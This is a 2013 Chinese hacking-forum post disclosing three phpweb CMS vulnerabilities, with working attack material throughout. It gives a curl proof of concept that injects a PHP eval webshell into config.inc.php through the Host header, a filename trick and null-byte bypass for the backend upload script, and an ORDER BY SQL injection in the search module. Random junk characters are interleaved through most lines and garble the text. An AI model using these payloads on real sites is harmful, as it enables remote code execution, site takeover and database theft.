找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2497|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
; A8 M# k. u* n5 ]- |: I( E
  a" ~; g1 b( P- |" X之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  t; y+ t8 ?% E. |1 y$ [
* i: x; K1 \, W. J) N2 f3 t
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 h/ Q. Q, T; ]% Y鸡肋2: 有一定安全常识的站长都会删掉 install 目录5 O* U5 }( t. ]8 u. G3 {3 ~

" w2 i& x. v4 m' t; O2 \虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 d2 `0 \# p  p# m
3 ^0 C. @$ S$ Z- O分析:
$ W5 x6 s9 d( i/ P1 p( [+ ?5 ?
, d: w& o/ ~+ d  D
! m* ]5 U# E, h- K$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤* k. e" `9 d4 p* ^2 L5 p) `+ T, K
, I+ ?( i  X6 p( R$ U
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 ~( W; o4 a$ G3 [/ D3 n% R8 J
                                            $filestr=str_replace(" ","",$filestr);2 M6 q* H$ f- o* y$ F" Q3 ^  @
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 [2 T7 t4 ?9 ~) {% e
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);  {9 I, a) j1 N- }" ^3 S# y
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);1 x+ l- F- c- {" z
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
- S1 @0 e+ m5 I# [                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 Z1 y8 i3 d; T                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);. S% J* f. M, w" `
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);! F+ W; w3 Z. E3 T5 A
) E8 }0 Y, ^' `8 v" p& g. ^
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);7 b: |' a$ P8 `+ E  o2 G
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# L$ K9 z5 m1 ~5 ~
9 h1 O2 }3 i: P; M6 K0 A7 e
poc:$ K, _5 j# P" _0 m2 ~
3 T- m0 }6 D  q
?' k. e& E- C5 P% P7 @' G  l: T
1
5 w' y+ Y( O6 u$ k  Y; J* Ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"& @3 f" R' \; c( o! n6 x1 J+ t
shell地址: /config.inc.php
% V7 N* F. a- q9 O( ^, k: R跟之前的 phpcms一样 需要远程数据库
# {( k5 d; h3 w  i/ r9 o # W* j: A* V3 z- h
——————————————————–
+ g0 _: C- l7 t2 `# Q上传漏洞(需要进后台):7 G! g! ]+ t; b. u4 V
漏洞文件: /kedit/upload_cgi/upload.php
% c; D3 J4 _! x- @+ \! d这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 g% B: S; f1 |' r! f4 t, y! e" _& f
6 N7 V4 B  l3 Q  {

  }. [& m  f  n9 {<?php% K/ W8 {* I# A  r+ M1 |* r
    define("ROOTPATH", "../../");
  A3 {$ L2 L$ M9 X    include(ROOTPATH."includes/admin.inc.php");& v& v# Y" w. F; @
    NeedAuth(0);  S5 G" s8 `7 l/ z

, s& j6 n& _0 ^" P4 R$ M    $dt=date("Ymd",time());2 k0 e( ]6 B1 q4 ], Y) Z2 Q
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# ?" J2 J3 U# F/ w7 a5 `% ~            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);- H+ x2 N3 ^& O$ D- [$ D- z
    }4 [' e% J- e* P* |  V
5 q  W3 r' |* L# N, E% I! _3 J% {
    //文件保存目录路径
( G, a0 `' w, I9 c1 W    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
4 c% x1 Y8 \+ o5 J- S8 b4 g- |    echo $save_path;
2 J3 z! N. |& e0 ^    //文件保存目录URL* S, Z5 v- ?  @+ n% C
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';" g$ ^0 p/ G0 I  j+ L% s) K
" m5 j: @9 Y% p! x; x  r
    //定义允许上传的文件扩展名
6 \* S& e4 f+ A& S! y6 S6 f    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀. Y& Y4 H3 P/ w  E

: |" t. C& L" P7 B; [5 o    //最大文件大小" ]' C. S, v+ l- R" A! A
    $max_size = 1000000;
7 r% ]7 ]0 Q+ w' f; e  u 0 D( c1 l9 G) @0 _4 g% A) K
    //更改目录权限) {4 E0 A5 }1 `3 Q6 T/ w
    @mkdir($save_path, 0777);
! D6 {, ]) T9 ~ " O9 E: B  N0 T7 P9 S
    //文件的全部路径
0 f- B1 ?% b1 c+ i. n    $file_path = $save_path.$_POST['fileName'];   //保存文件名9 I+ R  V2 F: x) {8 ^: P
7 ]6 l. v+ {7 z, c' k
    //文件URL1 ^- L& _2 Y# ^6 F) z+ Y$ H
    $file_url = $save_url.$_POST['fileName'];5 Q) Z) ?8 ~$ V9 d8 j: Q' u  Z
//有上传文件时9 Q9 |, f& {7 k+ q) G
    if (empty($_FILES) === false) {
" v7 S1 Z. P+ }' W- { - V/ p% `# B$ F
            //原文件名1 _% _9 u' u' `
            $file_name = $_FILES['fileData']['name'];/ F0 T. j- a( U
            //服务器上临时文件名
8 j9 V0 y6 n  D5 `. C2 R4 Q1 t            $tmp_name = $_FILES['fileData']['tmp_name'];
$ z% d2 l2 t# \1 b! u& F$ L4 n            //文件大小# t; `7 t& ]3 o
            $file_size = $_FILES['fileData']['size'];7 o! M5 G5 l; s: E* e, n
            //检查目录) |* T2 L3 r  @& J" }
            if (@is_dir($save_path) === false) {9 |7 u. ~: L7 j2 F6 @# f- y
                    alert("上传目录不存在。");
) K9 ^* S5 e. b1 f. J& _2 \            }2 m- W, q6 y( I, M
            //检查目录写权限- S: k( {4 m: ?
            if (@is_writable($save_path) === false) {
$ V( n9 y8 k2 F" g; T+ J                    alert("上传目录没有写权限。");6 q9 \1 {" w. |7 o  Z1 e, p9 n
            }2 d; Y* G" U) ?+ N
            //检查是否已上传& c0 b1 Y* S- I
            if (@is_uploaded_file($tmp_name) === false) {* r8 w. i, b3 d& D- j/ b2 y" b5 B/ N
                    alert("临时文件可能不是上传文件。");0 n& @! ]. h8 d- n* o
            }
2 n  ?' |9 j4 B  M# \. e. q            //检查文件大小
9 C3 ~9 i, J4 ]2 e! Z            if ($file_size > $max_size) {; o8 d! p' N3 H3 p! f6 y
                    alert("上传文件大小超过限制。");- e9 i) e6 a4 E: W! p( b4 a
            }) i2 }% ~/ g0 q; a
            //获得文件扩展名, p+ g" r- f2 n# Y/ W) D0 V
            $temp_arr = explode(".", $_POST['fileName']);- G  Z/ Z: I: K' _6 f. J/ n+ Q( |
            $file_ext = array_pop($temp_arr);
- f$ m. k6 l+ ]* b            $file_ext = trim($file_ext);7 b% Z% n/ `- }5 a) S2 S: i
            $file_ext = strtolower($file_ext);+ p) z' d6 _$ _/ X

3 {& _; H( @/ y            //检查扩展名   0 e) i7 P* r9 @7 c) R- L
            if (in_array($file_ext, $ext_arr) === false) {     . }' n5 j4 `/ `. {- e( P0 W
                    alert("上传文件扩展名是不允许的扩展名。");
3 D# h: @- v: m0 o( ^. ?            }
9 H6 N+ t0 Q8 n& `. o6 X ) e( y3 A; z3 f7 L' I
            //移动文件   
) w1 A3 K( R/ X& b0 l( N! b            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
; b. y5 P3 X5 w; @, V            if (move_uploaded_file($tmp_name, $file_path) === false) {
2 M9 s6 b- o- H4 i( T6 B                    alert("上传文件失败。");1 r# l$ I. A& {( u/ D7 u" @
            }
1 H& ^: ~% x4 H $ E0 @$ U: X# J+ @
            @chmod($file_path,0666);
9 r- r- x1 W% m3 N) ?1 q; X ( B$ t) I( m$ U/ F& f# x
    ?>
' E+ V6 {$ `3 H) U" ]0 V/ F5 s抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 P1 x4 {6 y& v2 U6 B% p1 K
) y9 o, G5 i& x/ m) ^& sapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
" C6 d8 ~% J0 o' Y! D 4 R$ u4 ?8 y# C- Y! D
——————————————————: x& A+ {" }% Z( d' j: D
注入漏洞:
% D3 p' m, u+ N+ r# B' X/ G漏洞文件:search/module/search.php
* Q9 y- X4 _: j- b6 c1 W! t/search/index.php?key=1&myord=1 [sqlinjection]
7 I  J( F! {3 A4 Y2 F% ]7 V . a! W! \  I3 ^. |. X

4 L6 `/ i* W8 O; b$ ]<?php
! J2 h! H$ b9 y: a5 d8 N4 {2 T3 U9 {   //       ... 省略 n 行...+ t, l* D. a$ d8 A# K. R
   //第18行:
5 m$ c7 @' k2 `! s8 O, F2 s5 Q0 ]           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响0 Q; S6 I# u3 n/ D& ^
           $page=htmlspecialchars($_GET["page"]);, a2 ^+ _9 y+ M7 j* d+ W) K
           $myord=htmlspecialchars($_GET["myord"]);
" Z- d% B: A& c5 T6 U
% j- v. r2 s) A   //       ... 省略 n 行...+ Z* J) O" g4 [
   $key,$myord 两个参数带入查询7 a3 D. Z1 _' e9 }* X1 D) E
   //第47行 $key:
9 U! i# m1 m" U( Q; [, |  }- q 4 R7 D3 L9 ~1 B2 k
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
' M% K: t/ z* e0 s2 @% O# V; A 9 g6 K) V  G: E- D: g+ ^
   //第197行 $myord
3 X# D" j# `' }, S   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入5 n  C0 Q. ?8 `  K+ `0 u
4 ?! o% j& L: K7 q2 s
   ?>
8 l8 _& l; ~; b0 G: Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表